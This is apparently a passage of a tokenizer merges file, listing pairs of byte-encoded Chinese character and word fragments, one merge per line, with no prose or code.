绩 +ä» Ļ +å¯ Ĵ +è¯ģ åΏ +认 è¯Ĩ +ä¸ ¹ +大 éĩı +è¿ ħ +åģļ åΰ +设 æĸ½ +è´¸ æĺĵ +èĥ½ æºIJ +æĹ¶ æľŁ +ä¸Ģ 天 +æ²» çIJĨ +åĺ ī +å® ĩ +丰 å¯Į +举 è¡Į +æĪIJ æŀľ +èĤ¯ å®ļ +çĭ Ĺ +åĬ¨ åĬĽ +æ£ ® +åĩł ä¹İ +åĽł ç´ł +æ°ij æĹı +æ´ ŀ +ç½ij åıĭ +åIJĪ çIJĨ +广 大 +æ® Ĭ +æ´ Ľ +æĿ ¯ +èĴ Ļ +ç͍ äºİ +èŀį èµĦ +ç¥ ĸ +æľº 械 +举 åĬŀ +èĩª åĬ¨ +åĬŀ åħ¬ +é» ŀ +éĽ Ħ +å̼ å¾Ĺ +çĮ ª +以 为 +æĺ Į +è·Ŀ 离 +åIJ¸ å¼ķ +ç» ķ +éļ Ĩ +计 ç®Ĺ +éĺŁ ä¼į +大 ä¼ļ +å¼ķ èµ· +çī¹ çĤ¹ +èĥ ¶ +å¹´ è½» +æľ¬ 身 +æľº åħ³ +å®ĺ æĸ¹ +éĥ ij +æµ Ļ +è§Ĵ èī² +èij£ äºĭ +为 主 +æĹł 论 +ä¹ł æĥ¯ +æ¥ ļ +æĭ ĵ +绣 计 +åħ Ħ +广 æ³Ľ +åį Ģ +污 æŁĵ +è« ĭ +èĬĤ 缮 +ä¼ ¦ +è¦Ĩ çĽĸ +èĢ IJ +æī¶ è´« +ç»ı åİĨ +éĩįè¦ģ çļĦ +èĤ¡ 举 +æĭĽ èģĺ +åĽĽ 个 +æĩ ī +èĥ ŀ +æij Ĩ +é«ĺ éĢŁ +éº ¦ +åİŁ åĪĻ +èİ ± +æĽ´ 好 +éķ ľ +åĩ Į +åŀĥ åľ¾ +éĢ ² +çģ ° +éĵ º +äºĭ æķħ +çĶ ĺ +空 æ°Ķ +é¾ Ħ +èı ² +çĵ ¶ +æĺ ¨ +æĹ¥ æĬ¥ +æµ ® +åľ° åĽ¾ +åij Ī +大 åĬĽ +ç» ª +å¸ ħ +æľį åĭĻ +ä¸į éĶĻ +乡 æĿij +å± ¥ +å¹³ æĸ¹ +éĹ ² +æī £ +ç´ł è´¨ +èµ ´ +éģ Ń +èIJ ¨ +èĩª 主 +éĩij å±ŀ +èī¯ å¥½ +两 å¹´ +æ³ ¥ +é¢ ľ +ç²¾ 彩 +ä¸Ń åįİ +æĻ ĭ +ä¹ł è¿ij +ä¹łè¿ij å¹³ +æĪĺ 士 +åģļ çļĦ +éª ij +æ» ´ +çĵ ľ +çīĪ æĿĥ +èĤ ł +æľĥ åĵ¡ +çı į +ç¨ ® +ä »¿ +çī© ä¸ļ +åĢĭ 人 +å¦ » +ä¼ ¸ +æ± Ĺ +æĹ º +çIJĨ æĥ³ +æij ¸ +è¿Ŀ æ³ķ +å®Į æķ´ +åİ ¦ +è¸ ı +æĸ ij +æ¡ Ĥ +ä½ĵ åζ +å¸ « +æĿ Ĩ +æ® ¿ +æ¯ ģ +é¦ Ī +è§Ĵ 度 +æ¬ £ +çĥ ¦ +èĤ º +éĩĩ 访 +æij ĺ +æĮ ¡ +æ· ĺ +åħ» èĢģ +çĤ ¸ +è¿ Ī +åİ ī +åĿ Ĭ +è¾ £ +åĩ Ŀ +æ³ ª +çĸ ı +æİ ĺ +åĥı æĺ¯ +éĽ ķ +ç¼ Ŀ +èį · +æį · +åł ¡ +åı¥ è¯Ŀ +çĸ ¼ +æł ı +éģ µ +ç¢ ³ +å·¥ åķĨ +æIJ º +åĪ ¥ +ä¹ Ļ +æĹ ĭ +æĥ ľ +ä¸Ģ 大 +å±Ĥ 次 +èµ ĸ +æĬ ¬ +æ¨ Ĥ +è¯ ŀ +åħ Ĵ +ç¯ ® +èĤ ĥ +å§ ¿ +æĬ ļ +çĵ · +ç͵ åĬ¨ +æĸ° åĨł +æ¶ µ +ç¢ ij +æ· ® +æĹ ¨ +è¸ ª +æ¸ Ķ +æĦ Ī +åı Ķ +åįĹ çľģ +ç¾ © +å§Ķ 书记 +è² ¸ +æ¶ Į +è« ĸ +èIJ Ħ +æı ı +å¿ § +è¾ ¦ +å¦ Ĩ +æī Ń +åij µ +éģ ¥ +è¨ ± +ä» ĩ +åįģ ä¸ī +åī ² +èª į +èĪ ° +é¢ ĩ +é¥ ± +çĭ ł +é«ĺ çļĦ +çµ ± +æħ İ +é¢ ģ +åIJĪ éĢĤ +æµ ´ +èµ ĭ +æĬ ¼ +å¦ ¥ +éĻ¢ éķ¿ +èĢ ķ +è¾ ¨ +æħ ° +åįģ åĽĽ +æľ µ +èĵ Ħ +æŀ ¢ +å» · +æĤ Ħ +æ¶ ¯ +çŁ © +åŃIJ éĩĮ +çĬ ¹ +å±Ģ éķ¿ +é IJ +å¥ ł +ä¼ļ éķ¿ +æĵ ļ +ä¸į åıĬ +åįģ ä¹Ŀ +æ¬ º +èº º +éĺ IJ +çº Į +è¨ » +åĨ Ĭ +èŃ ĺ +é«ĺ çŃī +èħ º +å¤ ķ +ç» ij +åĶ ¤ +èķ ´ +çķ ľ +æħ ĭ +åı Ļ +åı ĥ +å³ ¡ +人 大 +éħ ¿ +éģ © +å¥ ¢ +åı£ æ°Ķ +éĮ Ħ +é ı +åĭ ĺ +è´ ¿ +éļ ª +é ĭ +éļ ¶ +ð ¥ +𬠣 +ð £ +ð« į +𬠳 +ð« ĵ +ð« Ħ +ð« Ł +𨠱 +ä Ĺ +以 åıĬ +æľī éĻIJ +åij ¢ +åIJ Ĺ +çľĭ åΰ +计 åĪĴ +è¿Ľ åħ¥ +缴 æİ¥ +åĪĨ æŀIJ +åıª æľī +设 å¤ĩ +åħ¶ å®ŀ +åĬł 强 +ä¸Ń çļĦ +ä¿Ŀ éļľ +èĢģ å¸Ī +人 æīį +å¾Ĺ åΰ +é£İ éĻ© +ä¸Ģ ç§į +空 éĹ´ +æĪij åĽ½ +ä¹ĭ åīį +ä¸ĵ å®¶ +æĿ ¨ +æĹ¥ æľ¬ +群 ä¼Ĺ +åıĤ åĬł +æķĪ æŀľ +æľī åħ³ +å®¶ åºŃ +åĮº åŁŁ +åĬª åĬĽ +éļı çĿĢ +æĹł æ³ķ +交 æµģ +è¡Į 为 +æ£Ģ æŁ¥ +æľŁ éĹ´ +å¦Ĥ æŃ¤ +èĤ¡ 份 +å½ĵ æĹ¶ +è£ħ å¤ĩ +åĩĨ å¤ĩ +éħĴ åºĹ +è¿IJ åĬ¨ +æıIJ åĩº +å·¦ åı³ +æİª æĸ½ +é£Ł åĵģ +æ¶Īè´¹ èĢħ +åѦ éĻ¢ +æĮĩ 导 +è¿IJ èIJ¥ +éĩį 大 +åĨľ æĿij +éĢł æĪIJ +æĶ¿ æ²» +éĴΠ坹 +æŃ£ å¼ı +åıĸ å¾Ĺ +éĤ£ 个 +éĽĨ ä¸Ń +åıª èĥ½ +å¿« éĢŁ +身 ä½ĵ +åħļ åijĺ +èģĶ åIJĪ +åĬĽ éĩı +éĥ½ æľī +æ ħ§ +å¡ Ķ +åĪ« 人 +表 çݰ +æķħ äºĭ +ä¸Ģ åĪĩ +å° ĩ +èµĦ æĸĻ +åŁ¹ åħ» +éĺħ 读 +æľī 人 +èIJ¥ éĶĢ +çĽij çĿ£ +çݯ ä¿Ŀ +èĢĥ èĻij +æ·± åľ³ +严 éĩį +èĮĥ åĽ´ +å§Ķ åijĺ +çĽij 管 +ä¸ī 个 +è£ħ ä¿® +åħ¬ éĩĮ +åĪĨ åĪ« +çIJĨ è§£ +éŁ © +åĬł å·¥ +认 羣 +ä¸į 好 +åİ» å¹´ +éĻį ä½İ +æľº ä¼ļ +åįı è®® +符 åIJĪ +å¢ŀ 强 +æĬĢ èĥ½ +é¦ĸ åħĪ +ç§ ¦ +ä¸ ģ +å° ¾ +æľī äºĨ +åľ° 产 +æ¸ ł +æĸ¹ 便 +ç§» åĬ¨ +éĢŁ 度 +å°¤ åħ¶ +éĢļ çŁ¥ +åĿ Ľ +éģ¿ åħį +æģ ¢ +è´ ¡ +èģĮ å·¥ +å®ŀ åĬĽ +æĺ¯ä¸Ģ ç§į +åIJ¯ åĬ¨ +çĸ¾ çĹħ +æĿ¥ äºĨ +缸 对 +çݰ å®ŀ +èŀį åIJĪ +åIJĮ æł· +åħ¬ åijĬ +çī¹ æ®Ĭ +ç´ « +ä¸ĭ åİ» +ä¼ł æĴŃ +æľĢ 好 +ä¼ĺ è´¨ +æ² Ĵ +æĮ º +æĹ ¦ +è¯ º +ä¸Ģ åIJį +éģĵ è·¯ +示 èĮĥ +è¿ĩ æĿ¥ +åIJĮ åѦ +é¼ ĵ +æĿ Ń +æľ¬ 次 +åIJĮ æĦı +ä¸ĸ 纪 +ç¾ Ĭ +æ¬ ² +å·¥ èīº +çĵ ¦ +人 士 +æľī æīĢ +ä»İ äºĭ +æľī å¾Īå¤ļ +ä¸į äºĨ +å²Ĺ ä½į +åıĺ å¾Ĺ +åĬ³ åĬ¨ +å¤Ħ äºİ +å¹³ åĿĩ +å½¢ 象 +å¡ ŀ +åħ± 享 +çĿ Ľ +åĪ© 润 +æŃ£ æĺ¯ +å¾Ģ å¾Ģ +缸 æ¯Ķ +æ¨ ª +åĪ · +æµĻ æ±Ł +大 éĥ¨åĪĨ +å¤ļ 个 +æĤ¨ çļĦ +ç͵ åķĨ +å¾® åįļ +å§ĭ ç»Ī +çĬ¯ 罪 +æĺ¯ åľ¨ +ç»Ħ åIJĪ +åİŁ æĿ¥ +æ¸ħ æ¥ļ +åIJĦ åľ° +æĦŁ åıĹ +å½ĵ ä¸Ń +è¶ĭ åĬ¿ +æĻ¯ åĮº +羣 æĺ¯ +ä¾Ľ åºĶ +转 åŀĭ +çĭ Ĥ +èĨ ľ +èĭ Ĺ +å¿ ł +å¾Ī 大 +èĤ¡ æĿĥ +ç¾İ åħĥ +æİĴ åIJį +åĬ¨ çī© +éĶ ħ +å¢ ¨ +主 å¸Ń +å¾Ī 好 +ç»Ŀ 对 +æĿ ľ +转 è½½ +çĴ ĥ +æĿij æ°ij +åIJ ¨ +åĽŃ åĮº +é«ĺ 度 +çī© è´¨ +è¾ ī +æĹ¥ 常 +æı Ĵ +ä¸ī å¹´ +ä½ĵ çݰ +æīį æĺ¯ +代 çIJĨ +ä¸į 管 +æģ Ĵ +åľ° ä½į +ç² ® +èĸ Ħ +æĺİ çϽ +ä¸Ģ èĩ´ +æĽ ¼ +åĵ Ń +åĩ ¤ +åĬ ² +æķ Į +æĪĺ æĸĹ +主 ä½ĵ +åħ¬ å¸ĥ +åıĤ èĢĥ +èĪª 空 +å¯ º +åѦ ä¼ļ +åıį æĺł +ç¾İ 丽 +太 éĺ³ +建 æĪIJ +æħ¢ æħ¢ +åIJĦ 个 +éĤ ¦ +ç»Ħ æĪIJ +ä¸ī 大 +éĶ ¦ +大å¤ļ æķ° +æ¦Ĥ 念 +éŃ Ĥ +åħ¬ çĽĬ +èį Ĵ +身 份 +æ·± åĪ» +åħ © +ç»ı åħ¸ +åIJĦ 项 +èĻ ķ +è¿Ľ æŃ¥ +åįģ äºĮ +æī§ æ³ķ +æĥ³ åΰ +æĦŁ æŁĵ +åķĨ åĬ¡ +å°ı ç»Ħ +èĶ ¬ +çıŃ åŃIJ +åIJĮ å¿Ĺ +éĿ¢ 临 +çĤ Ĵ +å¤ļ ç§į +è§Ĥ çĤ¹ +åĵª éĩĮ +å° Ŀ +å§ Ĩ +èħ ¹ +åŁİ åĮº +太 å¤ļ +çĹħ æ¯Ĵ +åľ¨ äºİ +æīĢ è°ĵ +æĻ ° +æŀ Ŀ +æĭ ĸ +å® ħ +æķ´ æ²» +ä½ı æĪ¿ +åģ · +çĨ Ĭ +èµ ģ +æ° Ľ +æł¼ å±Ģ +åŁºç¡Ģ ä¸Ĭ +èĥ Ĩ +åħ ½ +鼶 åĶ® +åĿ ¡ +女 åŃ© +æĴ ŀ +åħ¨ åĬĽ +åĴ ĸ +èĤ © +çľ ī +èĩ³ äºİ +åħļ ç»Ħ +ä¸Ģ ä»¶ +æĭ Ĩ +äºĭ å®ŀ +åĤ ³ +æ¹ ĺ +ç¶² ç«Ļ +循 çݯ +åIJĮ æ¯Ķ +æĭ Ķ +åĮ» èᝠ+åħ» æ®ĸ +åĽº å®ļ +å®ŀéĻħ ä¸Ĭ +è®° å¾Ĺ +åĪ© äºİ +æĤ ¦ +æĭ ³ +èĤ Ŀ +æķĪ çĽĬ +è© ² +æ°ij 主 +çĹĩ çĬ¶ +é¢ ¨ +å¹¼ åĦ¿ +å§ ij +æĪ Ĵ +ä¸ĭ çļĦ +æ¸ ¡ +å¹´ åºķ +è®° å¿Ĩ +åIJ IJ +大 å¹ħ +å¾ ½ +åħ¬ ä¼Ĺ +ä¿¡ å¿ĥ +çİ Ľ +ä¼ļ ä¸Ĭ +ä¹ Ķ +æijĦ å½± +æ£ĭ çīĮ +éĻ ķ +åºĶ æĢ¥ +æĶ¶ è´¹ +æİ§ èĤ¡ +仪 å¼ı +çŀ ¬ +æīĢ åľ¨ +ç¢ ° +å§ ĵ +é¡ Į +æĶ¯ éĥ¨ +使 åij½ +çĤ ī +å¯ Ħ +ç¿ ¼ +åľ° ä¸ĭ +è¾ ŀ +ä¿ ± +主 æĮģ +è´§ å¸ģ +æģ ¨ +èĤ Į +çĽ Ī +éĶ » +å¿Ĺ æĦ¿ +ç±» ä¼¼ +æĮ ĸ +éĢ » +ç¸ ½ +纪 念 +åķ ¥ +å¼ ¯ +åIJį åŃĹ +åģ¥ èº« +çļĦ å¿ĥ +é© ± +èĥĮ åIJİ +æ³ķ å¸Ī +ç² Ĵ +èĥ½ éĩı +è¾ ° +èī ³ +å½ ¼ +段 æĹ¶éĹ´ +åIJĪ æ³ķ +æĵ ¦ +ç¾ ½ +åİ ¨ +æĪij 说 +äºĭ åĬ¡ +åĩł 天 +åħ ģ +ç¼ ´ +åį ĵ +两 ç§į +çĭ¬ çī¹ +å¸ ¶ +éĴ » +æĥ © +é¢Ĩ åħĪ +è¶³ å¤Ł +å£ ³ +æĦıåij³ çĿĢ +åĪĨ å¸ĥ +ä¹ ĥ +éģ ĭ +ä½ © +è° ± +çģ £ +èį ¡ +è´¯ å½» +å¹ ¾ +ç£ ģ +åħ¸ åŀĭ +åī ĩ +åĨ » +æ¬ ł +ä¸į ä¹ħ +æµ ¦ +éŃ ħ +å¼Ģ äºĨ +使ç͍ èĢħ +è¿Ļ 款 +å° Ī +èĦ± è´« +æĶ» åĿļ +ç®Ĺ æĺ¯ +ç¨ Ģ +æĹł 人 +åł µ +å¥ ı +éĥ½ å¸Ĥ +åı¯ è§ģ +ä¸į åĩº +æ ·» +äº ı +ç¾İ 好 +èĥ ĸ +éŁ µ +æłĩ å¿Ĺ +èĬĤ èĥ½ +æĬ « +å° º +å¯ ¸ +ä¸Ģ 代 +é¢ Ĺ +èĢ ¶ +èĴ ¸ +åĸ ® +æ »¿ +çĮ ľ +æµ Ĩ +åŁ ĥ +åįĥ ä¸ĩ +èµ Į +èģ ² +ä½ľ é£İ +è³ ª +å¯ ¨ +å¹´ 人 +åį° è±¡ +æ¡ ¶ +æĴ ¤ +åįģ äºĶ +æ¯ ħ +æ² ª +åĽ½ æľī +大éĩı çļĦ +å¾ ¡ +å¯ ĵ +è¦ ĸ +æ¼Ĥ 亮 +çľ ł +ç ĤŃ +é» İ +èĻ ¹ +åĪ© äºļ +èŃ ī +æµ ı +åįģ åħ« +ä¸ ¢ +è¾ ½ +æľīä¸Ģ äºĽ +æħ Ī +åģľ è½¦ +å® ł +è§£ æĶ¾ +æľī å¤ļ +éĤ Ĭ +常 è§ģ +æĬ ¹ +çº ¤ +è¦ ª +æ¡ Ĩ +èİ ŀ +æ°§ åĮĸ +è¿Ļ ä»¶ +åĩ ° +æŁ ´ +åıij ç͵ +é¼ ł +转 åĮĸ +å¨ ĥ +æĮ ¤ +ç½ © +å¯Ĩ åĪĩ +æĪij ä¸į +é«ĺ æĸ° +ä¸Ģ ç¯ĩ +è¿Ľ ç¨ĭ +è¡ ° +è¿ĺ ä¸į +ç ħĮ +æĸ° åįİ +èĤ ¿ +æ» © +ä¸Ģ æµģ +è¯ Ī +å®ŀ ä½ĵ +å¤ĸ åĽ½ +èº ² +èµ ł +è¦ º +æ¢ Ŀ +ä¸į è§ģ +è¨ Ĭ +åĮ ¹ +åį µ +çĩ ¥ +æħ ķ +é½ ¿ +å® ´ +é¥ ¼ +èij¡ èIJĦ +å°ı å¿ĥ +æģ ¼ +éĻ Į +æĺ Ĥ +åĥ ¹ +èĬ Ŀ +æ¯ı 个人 +åīį æıIJ +ä½ĵ ä¼ļ +æ¨ Ļ +æIJľ çĭIJ +对 åħ¶ +ä¸ § +èľ Ĥ +æµ ¸ +èª ¿ +åĿ ª +é¢ ĸ +åIJį 为 +ç¬ ¼ +èĪ Į +æľ¬ 书 +èģ ¯ +çº º +ç®Ģ 缴 +éĽ ¢ +ç¾İ çļĦ +éļ ¨ +é«ĺ å³° +è¿Ļ å®¶ +å Ĥ¬ +å° ¸ +ç¡ķ 士 +èŃ · +è° ¨ +æĺ ı +æĶ¿ åįı +è¡ Ķ +ç¿ Ĵ +åľ Ĵ +åĽ½ æ°ij +主 è§Ĵ +è£ ķ +ä¼ ª +åº ŀ +æ°ij èIJ¥ +æĥ § +ç§ĺ 书 +çĹ ķ +çϾ åĪĨ +æº ¶ +æĹł çĸij +çļĦ çľ¼ +æĵ İ +ä¼Ł 大 +å½ ° +åħ¬å®ī å±Ģ +ç³ ķ +å¼ ¥ +åĤ Ļ +ä¹ ¾ +毫 ä¸į +注 æĺİ +åī¯ æĢ» +æĦ ī +æķ ¦ +é¦ ¨ +æĶ Ģ +éĢ Ŀ +åı¯ éĿł +å¤ ¸ +åľ ĺ +éĿ¢ ä¸Ĭ +æĬ ĸ +èĦ Ĩ +é© ° +ä¼ IJ +å¦ ¨ +å®ļ äºĨ +ç³ Ĭ +æŃ ¡ +éĥ¨ éķ¿ +ç§ ī +èĪ Ĩ +åĪij äºĭ +åIJ µ +æ¤ Ĵ +è¡ ĵ +è± « +èı © +åŃ µ +é¥ ² +å°± 好 +åł ª +ä¸ī è§Ĵ +åľº æ¯ĶèµĽ +ä¸į åģľ +æĵ ħ +åħ¨ æĸĩ +æ³ ģ +åѦ ä½į +æ± ° +éł ĺ +åı ł +éļ Ľ +å¸ IJ +çľĭ åĩº +åĮ ł +å±Ģ éĿ¢ +æ³ Į +è° Ĭ +åIJĮ æľŁ +æĬķ æłĩ +å¥ ´ +æĿ¥çľĭ çľĭ +èĦ ¾ +èŀ º +æŃ ī +çĽ ¯ +ç¨İ åĬ¡ +å» Ĭ +æİ © +æħ ¨ +çĽ ¼ +èĬ Ĵ +è® Ģ +æĮ £ +èĮ ħ +æĸ ¥ +æ¤ ħ +åΰ æĿ¥ +èijĹ ä½ľ +çĭ ± +äºĮ æīĭ +ä»İ æĿ¥ +çĸ ² +åºĬ ä¸Ĭ +æĸ° 浪 +æ³ Ħ +å¢ŀ å̼ +ä¸ Ľ +æļ ij +ä»İ ä¸ļ +æ· ĭ +å¤ļ æł· +æľ ´ +份 é¢Ŀ +æŀ £ +西 çľģ +æľ¬ è´¨ +æ·± æ·± +èī ĩ +ç» µ +产 å̼ +æ¼ ł +èħ » +çŃ Ľ +åİ Į +æģ Ń +å«Į çĸij +æĪ ¶ +æ» ŀ +èĨ Ģ +åĬ £ +座 è°Ī +常 æĢģ +çļĦ æĥħ +è¦ ½ +å¯ Ĥ +åĮ Ĩ +èĩ º +é¡ ¯ +çķ ı +éģ £ +åį ľ +çŃī å¥ĸ +è² ¬ +æº ¯ +é İ +çĤ¹ 头 +èĵ ¬ +æ± º +éħ ¬ +éģ Ĭ +è³ ¼ +註 åĨĬ +æľ¬ æĬ¥ +çµ ķ +æ´» æĢ§ +åħ ij +éĮ ¯ +åĨ ¶ +åĸ » +æº ĸ +èĤ ¢ +æº ĥ +æĹ ¬ +åī Ĭ +çIJĨ äºĭ +å± ł +æ² § +èļ Ģ +鼻 åŃIJ +为 æŃ¢ +常 å§Ķ +çµ Ĥ +éĬ · +çĭ Ģ +ä¾ £ +èĥ Ģ +èŃ ° +ç͍ 车 +åĻ ª +æŃ · +åį Ķ +åĪ ¹ +竣 æĺ¯ +é© Ĺ +èIJ Ŀ +çĻ « +çĹ « +æŃ § +å¼ Ĭ +åª ½ +çı Ĭ +è¡ · +éľ ī +åŁº çĿ£ +éļ ± +æ° ¨ +ç» ¸ +å°¼ æĸ¯ +çĥ ĺ +æľŁ åĨħ +è° ħ +éĽ ĩ +éļ Ļ +å ĸī +åī ¥ +çĹ ĺ +æĮ ½ +çĵ £ +æ¹ Ľ +æ¨ ± +æ¾ İ +æ¹ ĥ +åĨ¬ 奥 +æ£ µ +å® ° +åŀ Ĵ +æ§ ĭ +ä¾ Ī +èĮ Ħ +åĺ ¿ +èı ĩ +ç ĻĤ +åĬ ĥ +é į +èĶ ½ +çŀ Ń +æķ ŀ +ä¹ ĸ +éŁ § +è¾ ľ +æĩ Ī +ä½ £ +çŀ » +åŁ Ķ +èĪ ħ +å®ŀ äºĭ +é ¨ +å§ ¥ +çµ ¡ +åĺ » +çķ ¢ +æ²ĥ å°Ķ +è¿ Ħ +èĤ ĩ +æħ ij +ã § +ä ı +ð ł +ð¬ ĩ +ð« Ń +ð« IJ +ã ³ +© ½ +ð« ł +ã Ľ +ð¬ į +é ¿ +ð¬ Ĵ +ã Ļ +𬠤 +ð ¬´ +ð« ĸ +ð ¤ +ã ¬ +ä ² +ð« Ķ +ð« ļ +è¦ģ æ±Ĥ +ä¸Ģ äºĽ +å®ŀ çݰ +èĢĮ ä¸Ķ +åĽł æŃ¤ +çͱ äºİ +åħ³ äºİ +çĦ¶ åIJİ +æİ¨ åĬ¨ +ä¸Ģ æł· +æĮī çħ§ +è¿Ļæł· çļĦ +å½¢ æĪIJ +æľī äºĽ +æĽ´ åĬł +ç»ı è¿ĩ +建 è®® +æ²» çĸĹ +ä½ł 们 +æīį èĥ½ +ä¿ĥ è¿Ľ +åijĺ å·¥ +ä½ĵ éªĮ +èĪ ĩ +åģļ 好 +ä¿Ŀ è¯ģ +æķ´ 个 +æĺ¯ ä¸Ģ个 +éĩĩ ç͍ +çIJĨ 论 +æ¯Ķ å¦Ĥ +ä¸Ĭ çļĦ +æİ¨ èįIJ +çͳ 请 +天 空 +éĥ¨ èIJ½ +åįģ åĪĨ +æĿ¥ èĩª +ä¹ĭ éĹ´ +è°ĥ æķ´ +æ¯ı 天 +è°ĥ æŁ¥ +æĤ£ èĢħ +è¿ĩç¨ĭ ä¸Ń +é¦Ļ 港 +广 åijĬ +éĿ¢ 对 +满 è¶³ +éķ¿ æľŁ +è§Ħ èĮĥ +æķ´ ä½ĵ +æĶ¹ åıĺ +æĻº æħ§ +å¦Ī å¦Ī +å¦Ĥ ä»Ĭ +åIJĪ åIJĮ +éĥ½ ä¼ļ +åĦ¿ ç«¥ +åĩı å°ij +éŁ³ ä¹IJ +ç»ı 常 +ä¸Ĭ å¸Ĥ +ä¼ĺ ç§Ģ +çļĦ éĩįè¦ģ +ä¸Ģ æĿ¡ +æµ· å¤ĸ +åı¦ å¤ĸ +ä¸Ģ å®¶ +åİĭ åĬĽ +大 åŀĭ +çľĭ çĿĢ +åĪ Ģ +幸 ç¦ı +æİ¨ 广 +åIJ Ľ +å¾ IJ +æī¾ åΰ +äºİ æĺ¯ +èĩª 身 +ä¸Ģ ä½į +åľŁ åľ° +åĬł åħ¥ +æİ¢ ç´¢ +æ¢ ģ +主 åĬ¨ +å°± ä¸ļ +女 æĢ§ +çªģ çł´ +ä¸įåIJĮ çļĦ +è¿IJ è¾ĵ +èĩª çͱ +å±ħ æ°ij +æŃ¤ 次 +çļĦ æĹ¶éĹ´ +å®¶ éķ¿ +ä¸Ģ个 人 +æ£Ģ æµĭ +åĨħ éĥ¨ +广 å·ŀ +缴 æĴŃ +ä»İ èĢĮ +è´· 款 +åı¬ å¼Ģ +æĶ¹ éĢł +人 çĶŁ +å±ķ 示 +æ¯ı å¹´ +女 人 +çļĦ æĸ¹å¼ı +æķĪ çİĩ +å±± 举 +æ¸ł éģĵ +ä¼¼ ä¹İ +æ¡Ī ä»¶ +åĪ© çĽĬ +çľĭ çľĭ +å¿ĥ éĩĮ +ç»´ æĬ¤ +å®Ŀ å®Ŀ +ç½ij ä¸Ĭ +论 åĿĽ +å°± åı¯ä»¥ +ä¸į è¶³ +æģ¢ å¤į +å¸ĥ å±Ģ +è´¡ çĮ® +ä¸ĭ éĻį +æİĮ æı¡ +çļ® èĤ¤ +å·¥ åħ· +éĩį åºĨ +åĵģ è´¨ +æİ¨ åĩº +çĶ· 人 +æī¿ æĭħ +çªģ åĩº +èĢĮ è¨Ģ +æ² Ł +åįı è°ĥ +æĺ¯ ä»Ģä¹Ī +æ± ¤ +æĴ ij +çĭ¬ ç«ĭ +çݯ èĬĤ +æī© 大 +æ´ ª +æĿ ° +çĽ IJ +ä» ģ +æ¶ī åıĬ +èĢģ 人 +åį³ ä½¿ +åįĹ äº¬ +éħį åIJĪ +é¬ ¼ +çζ 亲 +ç½Ĺ æĸ¯ +å°ı åĮº +æķĻ æİĪ +åĨ³ çŃĸ +é¢Ħ 计 +æľ¬ 人 +ä¼ ¯ +ç« ¹ +åΰ åºķ +å¸Ĥ æ°ij +åĩº åı£ +éĩĩ è´Ń +æĢ» ç»ĵ +æŃ¦ æ±ī +åĬł 大 +广 举 +æµģ ç¨ĭ +人 åı£ +å¦Ĥæŀľ ä½ł +åĩº åİ» +åĩ ī +åĨľ æ°ij +çݰ 象 +åĬĽ 度 +ç»Ļ äºĪ +åħļ å§Ķ +è¯Ń è¨Ģ +线 ä¸Ĭ +æĢİ æł· +åĦ¿ åŃIJ +ç¡® å®ŀ +ä¹ĭ å¤ĸ +éĥ½ åľ¨ +èī ¾ +çļĦ æĥħåĨµ +éĩĮ çļĦ +åĽ´ ç»ķ +æĽ´å¤ļ çļĦ +ä¾Ŀ æ³ķ +åħ¬ åĽŃ +å®¶ éĩĮ +æ¯į 亲 +ä¸į åĨį +èĭ ¹ +æ³ķ éĻ¢ +飩 åĽ½ +缸 å½ĵ +ä¸į çŁ¥ +è¯Ħ ä¼° +ä¸į ç͍ +顺 åĪ© +éĩį è§Ĩ +è´¢ åĬ¡ +ä»ĸ åĢij +åıij è¡Į +ä¸ĵ éŨ +åħ· å¤ĩ +å¹¶ ä¸įæĺ¯ +è¶³ çIJĥ +é ŀĭ +åıij 表 +æ°¸ è¿ľ +èIJ¥ åħ» +éħį å¥Ĺ +æķ´ åIJĪ +è´ º +åĽŀ çŃĶ +æĶ¶ çĽĬ +ä¹Ł 许 +è» Ĭ +æİ¥ 触 +æĶ» åĩ» +åĽĽ å·Ŀ +æĢ§ èĥ½ +åĽŀ åΰ +èħ ° +ä¹Ł 没æľī +å¼ Ħ +设 ç«ĭ +éĺ² æİ§ +æĬĢ å·§ +éĢļ 常 +è´¢ æĶ¿ +éĥ¨ ç½² +åľº æĻ¯ +æ±Ł èĭı +表 è¾¾ +åĸ · +女 åĦ¿ +èĪ ¶ +çµ ¦ +ä¼ļ åijĺ +æĪĸ 许 +äº © +举 æĸ¹ +天 æ´¥ +è¿ij å¹´ +çľĭ æĿ¥ +æ¯Ķ ä¾ĭ +å² © +éĵ ľ +çİ » +å®ŀ éªĮ +æĢĿ ç»´ +æĭħ å¿ĥ +æ² Ī +身 è¾¹ +æ·± åĮĸ +ç²¾ åĩĨ +ç§ģ æľį +æ¶Ī éĺ² +åİ» äºĨ +ç»Ĩ èĥŀ +çIJĥ éĺŁ +æĺİ æĺŁ +é£Ł çī© +å¾Ī å¿« +让 ä½ł +ä¿¡ ç͍ +å͝ ä¸Ģ +åħ¶ å®ĥ +çŃī æĸ¹éĿ¢ +å¾ĭ å¸Ī +æŃ» 亡 +æ Ł³ +ä¸Ģ æī¹ +ä¸Ĭ 涨 +æľº åľº +å½¢ åĬ¿ +æĦ¿ æĦı +éĽĨ ä½ĵ +æĸ° åŀĭ +æį٠失 +æĽ ¸ +ä¸ĭ åįĪ +æ¯ı 次 +æĪIJ å°± +åħ¬ è·¯ +èĻ « +åĴ ± +西 å®ī +æľĢ ä½³ +ç§ij çłĶ +å¤į æĿĤ +æľº åύ +çα æĥħ +çħ§ çīĩ +å¹´ é¾Ħ +è³ĩ æĸĻ +ç² Ĺ +åĩĨ ç¡® +åĬł ä¸Ĭ +åĩº çīĪ +è° IJ +å®¶ å±ħ +èĥĮ æĻ¯ +ä¸Ģ 线 +äºĭ 项 +åĬ¨ ä½ľ +ç¥ ¥ +æĢ» ä½ĵ +æĪ¿ åŃIJ +ä¹Ł å°±æĺ¯ +大 æ¦Ĥ +é«ĺ æķĪ +åIJ ¹ +æİ ĪæĿĥ +éĻĦ è¿ij +æ¡Ī ä¾ĭ +éĹ ¹ +çΏ çΏ +彩 票 +æĢ Ĵ +举 æĬ¥ +æĻ® éģį +çķĻ ä¸ĭ +è¡£ æľį +æĹłè®º æĺ¯ +åħħ 满 +æ·± 度 +æ¡ ij +æĪª èĩ³ +带æĿ¥ çļĦ +éĻ µ +æĦŁ æĥħ +èµ ļ +åĵª äºĽ +æķ´ æĶ¹ +æĪIJ çĨŁ +å¨ ľ +é¼ » +çŁ Ľ +çĽ ¾ +好 好 +第 åĽĽ +åĨł åĨĽ +è´¢ å¯Į +æľĢ 好çļĦ +车 åŀĭ +éĸ Ģ +åį³ å°Ĩ +åĪĨ 为 +éĿĴ å²Ľ +纷 纷 +ä»Ĭ æĹ¥ +å¹³ è¡¡ +å¹³æĸ¹ ç±³ +éĤ£ ç§į 